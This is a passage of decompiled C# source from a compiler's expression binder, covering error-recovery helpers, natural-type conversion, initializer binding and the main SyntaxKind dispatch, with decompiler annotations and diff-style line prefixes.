globalExpressionVariable.GetFieldType(FieldsBeingBound).Type); + } + return new DeconstructionVariablePendingInference((SyntaxNode)(object)syntax, globalExpressionVariable, boundThisReference); + } + + internal bool HasThis(bool isExplicit, out bool inStaticContext) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Invalid comparison between Unknown and I4 + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Invalid comparison between Unknown and I4 + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Invalid comparison between Unknown and I4 + Symbol symbol = ContainingMemberOrLambda?.ContainingNonLambdaMember(); + if ((object)symbol != null && symbol.IsStatic) + { + inStaticContext = (int)symbol.Kind == 6 || (int)symbol.Kind == 9 || (int)symbol.Kind == 15; + return false; + } + inStaticContext = false; + if (InConstructorInitializer || InAttributeArgument) + { + return false; + } + bool flag = (symbol?.ContainingType)?.IsScriptClass ?? false; + if (InFieldInitializer && !flag) + { + return false; + } + if (flag) + { + return !isExplicit; + } + return true; + } + + protected virtual bool IsUnboundTypeAllowed(GenericNameSyntax syntax) + { + return Next.IsUnboundTypeAllowed(syntax); + } + + private BoundBadExpression BadExpression(SyntaxNode syntax) + { + return BadExpression(syntax, LookupResultKind.Empty, ImmutableArray.Empty); + } + + private BoundBadExpression BadExpression(SyntaxNode syntax, BoundExpression childNode) + { + return BadExpression(syntax, LookupResultKind.Empty, ImmutableArray.Empty, childNode); + } + + private BoundBadExpression BadExpression(SyntaxNode syntax, ImmutableArray childNodes) + { + return BadExpression(syntax, LookupResultKind.Empty, ImmutableArray.Empty, childNodes); + } + + protected BoundBadExpression BadExpression(SyntaxNode syntax, LookupResultKind lookupResultKind) + { + return BadExpression(syntax, lookupResultKind, ImmutableArray.Empty); + } + + protected BoundBadExpression BadExpression(SyntaxNode syntax, LookupResultKind lookupResultKind, BoundExpression childNode) + { + return BadExpression(syntax, lookupResultKind, ImmutableArray.Empty, childNode); + } + + private BoundBadExpression BadExpression(SyntaxNode syntax, LookupResultKind resultKind, ImmutableArray symbols) + { + return new BoundBadExpression(syntax, resultKind, symbols, ImmutableArray.Empty, CreateErrorType()); + } + + private BoundBadExpression BadExpression(SyntaxNode syntax, LookupResultKind resultKind, ImmutableArray symbols, BoundExpression childNode) + { + return new BoundBadExpression(syntax, resultKind, symbols, ImmutableArray.Create(BindToTypeForErrorRecovery(childNode)), CreateErrorType()); + } + + private BoundBadExpression BadExpression(SyntaxNode syntax, LookupResultKind resultKind, ImmutableArray symbols, ImmutableArray childNodes, bool wasCompilerGenerated = false) + { + return new BoundBadExpression(syntax, resultKind, symbols, ImmutableArrayExtensions.SelectAsArray(childNodes, (Func)((BoundExpression e, Binder self) => self.BindToTypeForErrorRecovery(e)), this), CreateErrorType()) + { + WasCompilerGenerated = wasCompilerGenerated + }; + } + + private BoundExpression ToBadExpression(BoundExpression expr, LookupResultKind resultKind = LookupResultKind.Empty) + { + TypeSymbol type = expr.Type; + BoundKind kind = expr.Kind; + if (expr.HasAnyErrors && ((object)type != null || kind == BoundKind.UnboundLambda || kind == BoundKind.DefaultLiteral)) + { + return expr; + } + if (kind == BoundKind.BadExpression) + { + BoundBadExpression boundBadExpression = (BoundBadExpression)expr; + return boundBadExpression.Update(resultKind, boundBadExpression.Symbols, boundBadExpression.ChildBoundNodes, type); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + expr.GetExpressionSymbols(instance, null, this); + return new BoundBadExpression(expr.Syntax, resultKind, instance.ToImmutableAndFree(), ImmutableArray.Create(BindToTypeForErrorRecovery(expr)), type ?? CreateErrorType()); + } + + internal NamedTypeSymbol CreateErrorType(string name = "") + { + return new ExtendedErrorTypeSymbol(Compilation, name, 0, null); + } + + internal BoundExpression BindValue(ExpressionSyntax node, BindingDiagnosticBag diagnostics, BindValueKind valueKind) + { + BoundExpression expr = BindExpression(node, diagnostics, invoked: false, indexed: false); + return CheckValue(expr, valueKind, diagnostics); + } + + internal BoundExpression BindRValueWithoutTargetType(ExpressionSyntax node, BindingDiagnosticBag diagnostics, bool reportNoTargetType = true) + { + return BindToNaturalType(BindValue(node, diagnostics, BindValueKind.RValue), diagnostics, reportNoTargetType); + } + + internal BoundExpression BindTypeOrRValue(ExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + BoundExpression boundExpression = BindExpression(node, diagnostics, invoked: false, indexed: false); + if (boundExpression.Kind == BoundKind.TypeExpression) + { + return boundExpression; + } + return CheckValue(boundExpression, BindValueKind.RValue, diagnostics); + } + + internal BoundExpression BindToTypeForErrorRecovery(BoundExpression expression, TypeSymbol type = null) + { + if (expression == null) + { + return null; + } + if (expression.NeedsToBeConverted()) + { + if ((object)type != null) + { + return GenerateConversionForAssignment(type, expression, BindingDiagnosticBag.Discarded); + } + return BindToNaturalType(expression, BindingDiagnosticBag.Discarded, reportNoTargetType: false); + } + return expression; + } + + internal BoundExpression BindToNaturalType(BoundExpression expression, BindingDiagnosticBag diagnostics, bool reportNoTargetType = true) + { + //IL_00c6: Unknown result type (might be due to invalid IL or missing references) + //IL_00cb: Unknown result type (might be due to invalid IL or missing references) + if (!expression.NeedsToBeConverted()) + { + return expression; + } + BoundExpression boundExpression; + if (!(expression is BoundUnconvertedSwitchExpression boundUnconvertedSwitchExpression)) + { + if (!(expression is BoundUnconvertedConditionalOperator boundUnconvertedConditionalOperator)) + { + if (!(expression is BoundTupleLiteral boundTupleLiteral)) + { + if (!(expression is BoundDefaultLiteral boundDefaultLiteral)) + { + if (expression is BoundStackAllocArrayCreation boundStackAllocArrayCreation) + { + if ((object)expression.Type != null) + { + goto IL_0369; + } + PointerTypeSymbol targetType = new PointerTypeSymbol(TypeWithAnnotations.Create(boundStackAllocArrayCreation.ElementType)); + boundExpression = GenerateConversionForAssignment(targetType, boundStackAllocArrayCreation, diagnostics); + } + else if (!(expression is BoundUnconvertedObjectCreationExpression boundUnconvertedObjectCreationExpression)) + { + if (!(expression is BoundUnconvertedInterpolatedString unconvertedInterpolatedString)) + { + if (!(expression is BoundBinaryOperator unconvertedBinaryOperator)) + { + if (!(expression is BoundUnconvertedCollectionExpression boundUnconvertedCollectionExpression)) + { + goto IL_0369; + } + if (reportNoTargetType && !boundUnconvertedCollectionExpression.HasAnyErrors) + { + diagnostics.Add(ErrorCode.ERR_CollectionExpressionNoTargetType, boundUnconvertedCollectionExpression.Syntax.GetLocation()); + } + boundExpression = BindCollectionExpressionForErrorRecovery(boundUnconvertedCollectionExpression, CreateErrorType(), diagnostics); + } + else + { + boundExpression = RebindSimpleBinaryOperatorAsConverted(unconvertedBinaryOperator, diagnostics); + } + } + else + { + boundExpression = BindUnconvertedInterpolatedStringToString(unconvertedInterpolatedString, diagnostics); + } + } + else + { + if (reportNoTargetType && !boundUnconvertedObjectCreationExpression.HasAnyErrors) + { + diagnostics.Add(ErrorCode.ERR_ImplicitObjectCreationNoTargetType, boundUnconvertedObjectCreationExpression.Syntax.GetLocation(), boundUnconvertedObjectCreationExpression.Display); + } + boundExpression = BindObjectCreationForErrorRecovery(boundUnconvertedObjectCreationExpression, diagnostics); + } + } + else + { + if (reportNoTargetType) + { + diagnostics.Add(ErrorCode.ERR_DefaultLiteralNoTargetType, boundDefaultLiteral.Syntax.GetLocation()); + } + boundExpression = new BoundDefaultExpression(boundDefaultLiteral.Syntax, null, boundDefaultLiteral.ConstantValueOpt, CreateErrorType(), hasErrors: true).WithSuppression(boundDefaultLiteral.IsSuppressed); + } + } + else + { + ArrayBuilder instance = ArrayBuilder.GetInstance(boundTupleLiteral.Arguments.Length); + ImmutableArray.Enumerator enumerator = boundTupleLiteral.Arguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + instance.Add(BindToNaturalType(current, diagnostics, reportNoTargetType)); + } + boundExpression = new BoundConvertedTupleLiteral(boundTupleLiteral.Syntax, boundTupleLiteral, wasTargetTyped: false, instance.ToImmutableAndFree(), boundTupleLiteral.ArgumentNamesOpt, boundTupleLiteral.InferredNamesOpt, boundTupleLiteral.Type, boundTupleLiteral.HasErrors).WithSuppression(boundTupleLiteral.IsSuppressed); + } + } + else + { + TypeSymbol typeSymbol = boundUnconvertedConditionalOperator.Type; + bool hasErrors = boundUnconvertedConditionalOperator.HasErrors; + if ((object)typeSymbol == null) + { + typeSymbol = CreateErrorType(); + hasErrors = true; + object obj = boundUnconvertedConditionalOperator.Consequence.Display; + object obj2 = boundUnconvertedConditionalOperator.Alternative.Display; + if (boundUnconvertedConditionalOperator.NoCommonTypeError == ErrorCode.ERR_InvalidQM && obj is Symbol symbol && obj2 is Symbol symbol2) + { + SymbolDistinguisher symbolDistinguisher = new SymbolDistinguisher(Compilation, symbol, symbol2); + obj = symbolDistinguisher.First; + obj2 = symbolDistinguisher.Second; + } + diagnostics.Add(boundUnconvertedConditionalOperator.NoCommonTypeError, boundUnconvertedConditionalOperator.Syntax.Location, obj, obj2); + } + boundExpression = ConvertConditionalExpression(boundUnconvertedConditionalOperator, typeSymbol, null, diagnostics, hasErrors); + } + } + else + { + TypeSymbol typeSymbol2 = boundUnconvertedSwitchExpression.Type; + SwitchExpressionSyntax switchExpressionSyntax = (SwitchExpressionSyntax)(object)boundUnconvertedSwitchExpression.Syntax; + bool hasErrors2 = expression.HasErrors; + if ((object)typeSymbol2 == null) + { + SyntaxToken switchKeyword = switchExpressionSyntax.SwitchKeyword; + diagnostics.Add(ErrorCode.ERR_SwitchExpressionNoBestType, ((SyntaxToken)(ref switchKeyword)).GetLocation()); + typeSymbol2 = CreateErrorType(); + hasErrors2 = true; + } + boundExpression = ConvertSwitchExpression(boundUnconvertedSwitchExpression, typeSymbol2, null, diagnostics, hasErrors2); + } + goto IL_036b; + IL_0369: + boundExpression = expression; + goto IL_036b; + IL_036b: + return boundExpression?.WithWasConverted(); + } + + private BoundExpression BindToInferredDelegateType(BoundExpression expr, BindingDiagnosticBag diagnostics) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode syntax = expr.Syntax; + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + NamedTypeSymbol namedTypeSymbol = expr.GetInferredDelegateType(ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add(syntax, useSiteInfo); + if ((object)namedTypeSymbol == null) + { + if (CheckFeatureAvailability(syntax, MessageID.IDS_FeatureInferredDelegateType, diagnostics)) + { + diagnostics.Add(ErrorCode.ERR_CannotInferDelegateType, syntax.GetLocation()); + } + namedTypeSymbol = CreateErrorType(); + } + return GenerateConversionForAssignment(namedTypeSymbol, expr, diagnostics); + } + + internal BoundExpression BindValueAllowArgList(ExpressionSyntax node, BindingDiagnosticBag diagnostics, BindValueKind valueKind) + { + BoundExpression expr = BindExpressionAllowArgList(node, diagnostics); + return CheckValue(expr, valueKind, diagnostics); + } + + internal BoundFieldEqualsValue BindFieldInitializer(FieldSymbol field, EqualsValueClauseSyntax initializerOpt, BindingDiagnosticBag diagnostics) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Invalid comparison between Unknown and I4 + if (initializerOpt == null) + { + return null; + } + Binder binder = GetBinder((SyntaxNode)(object)initializerOpt); + BoundExpression boundExpression = binder.BindVariableOrAutoPropInitializerValue(initializerOpt, field.RefKind, field.GetFieldType(binder.FieldsBeingBound).Type, diagnostics); + if ((object)field != null && !field.IsStatic && (int)field.RefKind == 0 && field.ContainingSymbol is SourceMemberContainerTypeSymbol sourceMemberContainerTypeSymbol) + { + SynthesizedPrimaryConstructor primaryConstructor = sourceMemberContainerTypeSymbol.PrimaryConstructor; + if ((object)primaryConstructor != null) + { + (ParameterSymbol, SyntaxNode) tuple = TryGetPrimaryConstructorParameterUsedAsValue(primaryConstructor, boundExpression); + var (parameterSymbol, _) = tuple; + if ((object)parameterSymbol != null) + { + SyntaxNode item = tuple.Item2; + if (item != null && primaryConstructor.GetCapturedParameters().ContainsKey(parameterSymbol)) + { + diagnostics.Add(ErrorCode.WRN_CapturedPrimaryConstructorParameterInFieldInitializer, item.Location, parameterSymbol); + } + } + } + } + return new BoundFieldEqualsValue((SyntaxNode)(object)initializerOpt, field, binder.GetDeclaredLocalsForScope((SyntaxNode)(object)initializerOpt), boundExpression); + } + + internal BoundExpression BindVariableOrAutoPropInitializerValue(EqualsValueClauseSyntax initializerOpt, RefKind refKind, TypeSymbol varType, BindingDiagnosticBag diagnostics) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + if (initializerOpt == null) + { + return null; + } + IsInitializerRefKindValid(initializerOpt, initializerOpt, refKind, diagnostics, out var valueKind, out var value); + BoundExpression expression = BindPossibleArrayInitializer(value, varType, valueKind, diagnostics); + return GenerateConversionForAssignment(varType, expression, diagnostics); + } + + internal Binder CreateBinderForParameterDefaultValue(ParameterSymbol parameter, EqualsValueClauseSyntax defaultValueSyntax) + { + LocalScopeBinder next = new LocalScopeBinder(WithContainingMemberOrLambda(parameter.ContainingSymbol).WithAdditionalFlags(BinderFlags.ParameterDefaultValue)); + return new ExecutableCodeBinder((SyntaxNode)(object)defaultValueSyntax, parameter.ContainingSymbol, next); + } + + internal BoundParameterEqualsValue BindParameterDefaultValue(EqualsValueClauseSyntax defaultValueSyntax, ParameterSymbol parameter, BindingDiagnosticBag diagnostics, out BoundExpression valueBeforeConversion) + { + Binder binder = GetBinder((SyntaxNode)(object)defaultValueSyntax); + valueBeforeConversion = binder.BindValue(defaultValueSyntax.Value, diagnostics, BindValueKind.RValue); + return new BoundParameterEqualsValue((SyntaxNode)(object)defaultValueSyntax, parameter, binder.GetDeclaredLocalsForScope((SyntaxNode)(object)defaultValueSyntax), binder.GenerateConversionForAssignment(parameter.Type, valueBeforeConversion, diagnostics, ConversionForAssignmentFlags.DefaultParameter)); + } + + internal BoundFieldEqualsValue BindEnumConstantInitializer(SourceEnumConstantSymbol symbol, EqualsValueClauseSyntax equalsValueSyntax, BindingDiagnosticBag diagnostics) + { + Binder binder = GetBinder((SyntaxNode)(object)equalsValueSyntax); + BoundExpression expression = binder.BindValue(equalsValueSyntax.Value, diagnostics, BindValueKind.RValue); + expression = binder.GenerateConversionForAssignment(symbol.ContainingType.EnumUnderlyingType, expression, diagnostics); + return new BoundFieldEqualsValue((SyntaxNode)(object)equalsValueSyntax, symbol, binder.GetDeclaredLocalsForScope((SyntaxNode)(object)equalsValueSyntax), expression); + } + + public BoundExpression BindExpression(ExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + return BindExpression(node, diagnostics, invoked: false, indexed: false); + } + + protected BoundExpression BindExpression(ExpressionSyntax node, BindingDiagnosticBag diagnostics, bool invoked, bool indexed) + { + BoundExpression boundExpression = BindExpressionInternal(node, diagnostics, invoked, indexed); + CheckContextForPointerTypes(node, diagnostics, boundExpression); + if (boundExpression.Kind == BoundKind.ArgListOperator) + { + Error(diagnostics, ErrorCode.ERR_IllegalArglist, (CSharpSyntaxNode)node); + boundExpression = ToBadExpression(boundExpression); + } + return boundExpression; + } + + protected BoundExpression BindExpressionAllowArgList(ExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + BoundExpression boundExpression = BindExpressionInternal(node, diagnostics, invoked: false, indexed: false); + CheckContextForPointerTypes(node, diagnostics, boundExpression); + return boundExpression; + } + + private void CheckContextForPointerTypes(ExpressionSyntax node, BindingDiagnosticBag diagnostics, BoundExpression expr) + { + if (!expr.HasAnyErrors && !IsInsideNameof) + { + TypeSymbol type = expr.Type; + if ((object)type != null && type.ContainsPointer()) + { + ReportUnsafeIfNotAllowed((SyntaxNode)(object)node, diagnostics); + } + } + } + + private BoundExpression BindExpressionInternal(ExpressionSyntax node, BindingDiagnosticBag diagnostics, bool invoked, bool indexed) + { + //IL_0513: Unknown result type (might be due to invalid IL or missing references) + //IL_04f4: Unknown result type (might be due to invalid IL or missing references) + if (IsEarlyAttributeBinder && !EarlyWellKnownAttributeBinder.CanBeValidAttributeArgument(node)) + { + return BadExpression((SyntaxNode)(object)node, LookupResultKind.NotAValue); + } + switch (node.Kind()) + { + case SyntaxKind.AnonymousMethodExpression: + case SyntaxKind.SimpleLambdaExpression: + case SyntaxKind.ParenthesizedLambdaExpression: + return BindAnonymousFunction((AnonymousFunctionExpressionSyntax)node, diagnostics); + case SyntaxKind.ThisExpression: + return BindThis((ThisExpressionSyntax)node, diagnostics); + case SyntaxKind.BaseExpression: + return BindBase((BaseExpressionSyntax)node, diagnostics); + case SyntaxKind.InvocationExpression: + return BindInvocationExpression((InvocationExpressionSyntax)node, diagnostics); + case SyntaxKind.ArrayInitializerExpression: + return BindUnexpectedArrayInitializer((InitializerExpressionSyntax)node, diagnostics, ErrorCode.ERR_ArrayInitInBadPlace); + case SyntaxKind.ArrayCreationExpression: + return BindArrayCreationExpression((ArrayCreationExpressionSyntax)node, diagnostics); + case SyntaxKind.ImplicitArrayCreationExpression: + return BindImplicitArrayCreationExpression((ImplicitArrayCreationExpressionSyntax)node, diagnostics); + case SyntaxKind.StackAllocArrayCreationExpression: + return BindStackAllocArrayCreationExpression((StackAllocArrayCreationExpressionSyntax)node, diagnostics); + case SyntaxKind.ImplicitStackAllocArrayCreationExpression: + return BindImplicitStackAllocArrayCreationExpression((ImplicitStackAllocArrayCreationExpressionSyntax)node, diagnostics); + case SyntaxKind.ObjectCreationExpression: + return BindObjectCreationExpression((ObjectCreationExpressionSyntax)node, diagnostics); + case SyntaxKind.ImplicitObjectCreationExpression: + return BindImplicitObjectCreationExpression((ImplicitObjectCreationExpressionSyntax)node, diagnostics); + case SyntaxKind.IdentifierName: + case SyntaxKind.GenericName: + return BindIdentifier((SimpleNameSyntax)node, invoked, indexed, diagnostics); + case SyntaxKind.SimpleMemberAccessExpression: + case SyntaxKind.PointerMemberAccessExpression: + return BindMemberAccess((MemberAccessExpressionSyntax)node, invoked, indexed, diagnostics); + case SyntaxKind.SimpleAssignmentExpression: + return BindAssignment((AssignmentExpressionSyntax)node, diagnostics); + case SyntaxKind.CastExpression: + return BindCast((CastExpressionSyntax)node, diagnostics); + case SyntaxKind.ElementAccessExpression: + return BindElementAccess((ElementAccessExpressionSyntax)node, diagnostics); + case SyntaxKind.AddExpression: + case SyntaxKind.SubtractExpression: + case SyntaxKind.MultiplyExpression: + case SyntaxKind.DivideExpression: + case SyntaxKind.ModuloExpression: + case SyntaxKind.LeftShiftExpression: + case SyntaxKind.RightShiftExpression: + case SyntaxKind.BitwiseOrExpression: + case SyntaxKind.BitwiseAndExpression: + case SyntaxKind.ExclusiveOrExpression: + case SyntaxKind.EqualsExpression: + case SyntaxKind.NotEqualsExpression: + case SyntaxKind.LessThanExpression: + case SyntaxKind.LessThanOrEqualExpression: + case SyntaxKind.GreaterThanExpression: + case SyntaxKind.GreaterThanOrEqualExpression: + case SyntaxKind.UnsignedRightShiftExpression: + return BindSimpleBinaryOperator((BinaryExpressionSyntax)node, diagnostics); + case SyntaxKind.LogicalOrExpression: + case SyntaxKind.LogicalAndExpression: + return BindConditionalLogicalOperator((BinaryExpressionSyntax)node, diagnostics); + case SyntaxKind.CoalesceExpression: + return BindNullCoalescingOperator((BinaryExpressionSyntax)node, diagnostics); + case SyntaxKind.ConditionalAccessExpression: + return BindConditionalAccessExpression((ConditionalAccessExpressionSyntax)node, diagnostics); + case SyntaxKind.MemberBindingExpression: + return BindMemberBindingExpression((MemberBindingExpressionSyntax)node, invoked, indexed, diagnostics); + case SyntaxKind.ElementBindingExpression: + return BindElementBindingExpression((ElementBindingExpressionSyntax)node, diagnostics); + case SyntaxKind.IsExpression: + return BindIsOperator((BinaryExpressionSyntax)node, diagnostics); + case SyntaxKind.AsExpression: + return BindAsOperator((BinaryExpressionSyntax)node, diagnostics); + case SyntaxKind.UnaryPlusExpression: + case SyntaxKind.UnaryMinusExpression: + case SyntaxKind.BitwiseNotExpression: + case SyntaxKind.LogicalNotExpression: + return BindUnaryOperator((PrefixUnaryExpressionSyntax)node, diagnostics); + case SyntaxKind.IndexExpression: + return BindFromEndIndexExpression((PrefixUnaryExpressionSyntax)node, diagnostics); + case SyntaxKind.RangeExpression: + return BindRangeExpression((RangeExpressionSyntax)node, diagnostics); + case SyntaxKind.AddressOfExpression: + return BindAddressOfExpression((PrefixUnaryExpressionSyntax)node, diagnostics); + case SyntaxKind.PointerIndirectionExpression: + return BindPointerIndirectionExpression((PrefixUnaryExpressionSyntax)node, diagnostics); + case SyntaxKind.PostIncrementExpression: + case SyntaxKind.PostDecrementExpression: + return BindIncrementOperator(node, ((PostfixUnaryExpressionSyntax)node).Operand, ((PostfixUnaryExpressionSyntax)node).OperatorToken, diagnostics); + case SyntaxKind.PreIncrementExpression: + case SyntaxKind.PreDecrementExpression: + return BindIncrementOperator(node, ((PrefixUnaryExpressionSyntax)node).Operand, ((PrefixUnaryExpressionSyntax)node).OperatorToken, diagnostics); + case SyntaxKind.ConditionalExpression: + return BindConditionalOperator((ConditionalExpressionSyntax)node, diagnostics); + case SyntaxKind.SwitchExpression: + return BindSwitchExpression((SwitchExpressionSyntax)node, diagnostics); + case SyntaxKind.NumericLiteralExpression: + case SyntaxKind.StringLiteralExpression: + case SyntaxKind.CharacterLiteralExpression: + case SyntaxKind.TrueLiteralExpression: + case SyntaxKind.FalseLiteralExpression: + case SyntaxKind.NullLiteralExpression: + return BindLiteralConstant((LiteralExpressionSyntax)node, diagnostics); + case SyntaxKind.Utf8StringLiteralExpression: + return BindUtf8StringLiteral((LiteralExpressionSyntax)node, diagnostics); + case SyntaxKind.DefaultLiteralExpression: + MessageID.IDS_FeatureDefaultLiteral.CheckFeatureAvailability(diagnostics, (SyntaxNode)(object)node); + return new BoundDefaultLiteral((SyntaxNode)(object)node); + case SyntaxKind.ParenthesizedExpression: + return BindParenthesizedExpression(((ParenthesizedExpressionSyntax)node).Expression, diagnostics); + case SyntaxKind.CheckedExpression: + case SyntaxKind.UncheckedExpression: + return BindCheckedExpression((CheckedExpressionSyntax)node, diagnostics); + case SyntaxKind.DefaultExpression: + return BindDefaultExpression((DefaultExpressionSyntax)node, diagnostics); + case SyntaxKind.TypeOfExpression: + return BindTypeOf((TypeOfExpressionSyntax)node, diagnostics); + case SyntaxKind.SizeOfExpression: + return BindSizeOf((SizeOfExpressionSyntax)node, diagnostics); + case SyntaxKind.AddAssignmentExpression: + case SyntaxKind.SubtractAssignmentExpression: + case SyntaxKind.MultiplyAssignmentExpression: + case SyntaxKind.DivideAssignmentExpression: + case SyntaxKind.ModuloAssignmentExpression: + case SyntaxKind.AndAssignmentExpression: + case SyntaxKind.ExclusiveOrAssignmentExpression: + case SyntaxKind.OrAssignmentExpression: + case SyntaxKind.LeftShiftAssignmentExpression: + case SyntaxKind.RightShiftAssignmentExpression: + case SyntaxKind.UnsignedRightShiftAssignmentExpression: + return BindCompoundAssignment((AssignmentExpressionSyntax)node, diagnostics); + case SyntaxKind.CoalesceAssignmentExpression: + return BindNullCoalescingAssignmentOperator((AssignmentExpressionSyntax)node, diagnostics); + case SyntaxKind.AliasQualifiedName: + case SyntaxKind.PredefinedType: + return BindNamespaceOrType(node, diagnostics); + case SyntaxKind.QueryExpression: + return BindQuery((QueryExpressionSyntax)node, diagnostics); + case SyntaxKind.AnonymousObjectCreationExpression: + return BindAnonymousObjectCreation((AnonymousObjectCreationExpressionSyntax)node, diagnostics); + case SyntaxKind.QualifiedName: + return BindQualifiedName((QualifiedNameSyntax)node, diagnostics); + case SyntaxKind.ComplexElementInitializerExpression: + return BindUnexpectedComplexElementInitializer((InitializerExpressionSyntax)node, diagnostics); + case SyntaxKind.ArgListExpression: + return BindArgList(node, diagnostics); + case SyntaxKind.RefTypeExpression: + return BindRefType((RefTypeExpressionSyntax)node, diagnostics); + case SyntaxKind.MakeRefExpression: + return BindMakeRef((MakeRefExpressionSyntax)node, diagnostics); + case SyntaxKind.RefValueExpression: + return BindRefValue((RefValueExpressionSyntax)node, diagnostics); + case SyntaxKind.AwaitExpression: + return BindAwait((AwaitExpressionSyntax)node, diagnostics); + case SyntaxKind.OmittedTypeArgument: + case SyntaxKind.ObjectInitializerExpression: + case SyntaxKind.OmittedArraySizeExpression: + return BadExpression((SyntaxNode)(object)node); + case SyntaxKind.CollectionExpression: + return BindCollectionExpression((CollectionExpressionSyntax)node, diagnostics); + case SyntaxKind.NullableType: + return BadExpression((SyntaxNode)(object)node); + case SyntaxKind.InterpolatedStringExpression: + return BindInterpolatedString((InterpolatedStringExpressionSyntax)node, diagnostics); + case SyntaxKind.IsPatternExpression: + return BindIsPatternExpression((IsPatternExpressionSyntax)node, diagnostics); + case SyntaxKind.TupleExpression: + return BindTupleExpression((TupleExpressionSyntax)node, diagnostics); + case SyntaxKind.ThrowExpression: + return BindThrowExpression((ThrowExpressionSyntax)node, diagnostics); + case SyntaxKind.RefType: + return BindRefType(node, diagnostics); + case SyntaxKind.ScopedType: + return BindScopedType(node, diagnostics); + case SyntaxKind.RefExpression: + return BindRefExpression((RefExpressionSyntax)node, diagnostics); + case SyntaxKind.DeclarationExpression: + return BindDeclarationExpressionAsError((DeclarationExpressionSyntax)node, diagnostics); + case SyntaxKind.SuppressNullableWarningExpression: + return BindSuppressNullableWarningExpression((PostfixUnaryExpressionSyntax)node, diagnostics); + case SyntaxKind.WithExpression: + return BindWithExpression((WithExpressionSyntax)node, diagnostics); + default: + diagnostics.Add(ErrorCode.ERR_InternalError, ((SyntaxNode)node).Location); + return BadExpression((SyntaxNode)(object)node); + } + } + + internal virtual BoundSwitchExpressionArm BindSwitchExpressionArm(SwitchExpressionArmSyntax node, TypeSymbol switchGoverningType, BindingDiagnosticBag diagnostics) + { + return NextRequired.BindSwitchExpressionArm(node, switchGoverningType, diagnostics); + } + + private BoundExpression BindRefExpression(RefExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken firstToken = node.GetFirstToken(); + diagnostics.Add(ErrorCode.ERR_UnexpectedToken, ((SyntaxToken)(ref firstToken)).GetLocation(), ((SyntaxToken)(ref firstToken)).ValueText); + return new BoundBadExpression((SyntaxNode)(object)node, LookupResultKind.Empty, ImmutableArray.Empty, ImmutableArray.Create(BindToTypeForErrorRecovery(BindValue(node.Expression, BindingDiagnosticBag.Discarded, BindValueKind.RefersToLocation))), CreateErrorType("ref")); + } + + private BoundExpression BindRefType(ExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken firstToken = node.GetFirstToken(); + diagnostics.Add(ErrorCode.ERR_UnexpectedToken, ((SyntaxToken)(ref firstToken)).GetLocation(), ((SyntaxToken)(ref firstToken)).ValueText); + return new BoundTypeExpression((SyntaxNode)(object)node, null, CreateErrorType("ref")); + } + + private BoundExpression BindScopedType(ExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken firstToken = node.GetFirstToken(); + diagnostics.Add(ErrorCode.ERR_UnexpectedToken, ((SyntaxToken)(ref firstToken)).GetLocation(), ((SyntaxToken)(ref firstToken)).ValueText); + return new BoundTypeExpression((SyntaxNode)(object)node, null, CreateErrorType("scoped")); + } + + private BoundExpression BindThrowExpression(ThrowExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + MessageID.IDS_FeatureThrowExpression.CheckFeatureAvailability(diagnostics, node.ThrowKeyword); + bool hasErrors = ((SyntaxNode)node).HasErrors; + if (!IsThrowExpressionInProperContext(node)) + { + SyntaxToken throwKeyword = node.ThrowKeyword; + diagnostics.Add(ErrorCode.ERR_ThrowMisplaced, ((SyntaxToken)(ref throwKeyword)).GetLocation()); + hasErrors = true; + } + BoundExpression expression = BindThrownExpression(node.Expression, diagnostics, ref hasErrors); + return new BoundThrowExpression((SyntaxNode)(object)node, expression, null, hasErrors); + } + + private static bool IsThrowExpressionInProperContext(ThrowExpressionSyntax node) + { + CSharpSyntaxNode parent = node.Parent; + if (parent == null || ((SyntaxNode)node).HasErrors) + { + return true; + } + switch (parent.Kind()) + { + case SyntaxKind.ConditionalExpression: + { + ConditionalExpressionSyntax conditionalExpressionSyntax = (ConditionalExpressionSyntax)parent; + if (node != conditionalExpressionSyntax.WhenTrue) + { + return node == conditionalExpressionSyntax.WhenFalse; + } + return true; + } + case SyntaxKind.CoalesceExpression: + { + BinaryExpressionSyntax binaryExpressionSyntax = (BinaryExpressionSyntax)parent; + return node == binaryExpressionSyntax.Right; + } + case SyntaxKind.SimpleLambdaExpression: + case SyntaxKind.ParenthesizedLambdaExpression: + case SyntaxKind.ArrowExpressionClause: + case SyntaxKind.SwitchExpressionArm: + return true; + default: + return false; + } + } + + private BoundExpression BindDeclarationExpressionAsError(DeclarationExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + bool isConst = false; + bool isScoped; + bool isVar; + AliasSymbol alias; + TypeWithAnnotations declTypeWithAnnotations = BindVariableTypeWithAnnotations(node.Designation, diagnostics, node.Type.SkipScoped(out isScoped).SkipRef(), ref isConst, out isVar, out alias); + Error(diagnostics, ErrorCode.ERR_DeclarationExpressionNotPermitted, (CSharpSyntaxNode)node); + return BindDeclarationVariablesForErrorRecovery(declTypeWithAnnotations, node.Designation, node, diagnostics); + } + + private 